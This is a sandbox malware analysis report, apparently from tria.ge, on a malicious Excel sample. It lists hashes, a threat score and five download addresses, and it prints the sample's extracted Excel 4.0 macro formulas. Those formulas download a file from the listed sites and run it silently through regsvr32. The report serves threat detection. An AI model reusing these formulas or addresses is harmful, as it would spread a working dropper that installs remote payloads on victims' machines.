Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    88e839c2ce004dfc1618d43cae3356d913222553cd5eb50439b53d0ea398841e

  • Size

    95KB

  • Sample

    241111-2datrsybjk

  • MD5

    720e0cfe3281a7a4916f99b3a1f185c1

  • SHA1

    f59b1688e42421d309b1799e5c62a7736acb0b89

  • SHA256

    88e839c2ce004dfc1618d43cae3356d913222553cd5eb50439b53d0ea398841e

  • SHA512

    f637c48d14e8709529ecd6e8f9183efbcccb896ed5e939bbaa69cd280bd3a24372180a6f340aef531b6e2075cd2dc5fe07842d1fa33735a3c138dbbd28ceb092

  • SSDEEP

    1536:S6ghqXvo8v5MB5Dg8cVoioFh+fYFl69oXiZ5bcvJlqGiwIWx1BcVXzAyVh9:S9iv38DsVhonV69o2bchgGaWBcpAk9

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://distribucionespariente.com/wp-includes/YHQ1W1R2iSznft2vO/

https://makspeedtech.com/cgi-bin/6BuOTbA/

https://newmainghantabazar.com/wp-includes/tyiPqbUMvMq79yMyM8E/

https://mbahauddin.com/v/2horjuyP/

https://cafedeltren.t1.curious.tech/v/oa9AwvFnbCZ59xoyBB/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://distribucionespariente.com/wp-includes/YHQ1W1R2iSznft2vO/","..\wnu3.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://makspeedtech.com/cgi-bin/6BuOTbA/","..\wnu3.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://newmainghantabazar.com/wp-includes/tyiPqbUMvMq79yMyM8E/","..\wnu3.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mbahauddin.com/v/2horjuyP/","..\wnu3.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cafedeltren.t1.curious.tech/v/oa9AwvFnbCZ59xoyBB/","..\wnu3.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\wnu3.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://distribucionespariente.com/wp-includes/YHQ1W1R2iSznft2vO/

xlm40.dropper

https://makspeedtech.com/cgi-bin/6BuOTbA/

xlm40.dropper

https://newmainghantabazar.com/wp-includes/tyiPqbUMvMq79yMyM8E/

xlm40.dropper

https://mbahauddin.com/v/2horjuyP/

xlm40.dropper

https://cafedeltren.t1.curious.tech/v/oa9AwvFnbCZ59xoyBB/

Targets

    • Target

      88e839c2ce004dfc1618d43cae3356d913222553cd5eb50439b53d0ea398841e

    • Size

      95KB

    • MD5

      720e0cfe3281a7a4916f99b3a1f185c1

    • SHA1

      f59b1688e42421d309b1799e5c62a7736acb0b89

    • SHA256

      88e839c2ce004dfc1618d43cae3356d913222553cd5eb50439b53d0ea398841e

    • SHA512

      f637c48d14e8709529ecd6e8f9183efbcccb896ed5e939bbaa69cd280bd3a24372180a6f340aef531b6e2075cd2dc5fe07842d1fa33735a3c138dbbd28ceb092

    • SSDEEP

      1536:S6ghqXvo8v5MB5Dg8cVoioFh+fYFl69oXiZ5bcvJlqGiwIWx1BcVXzAyVh9:S9iv38DsVhonV69o2bchgGaWBcpAk9

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks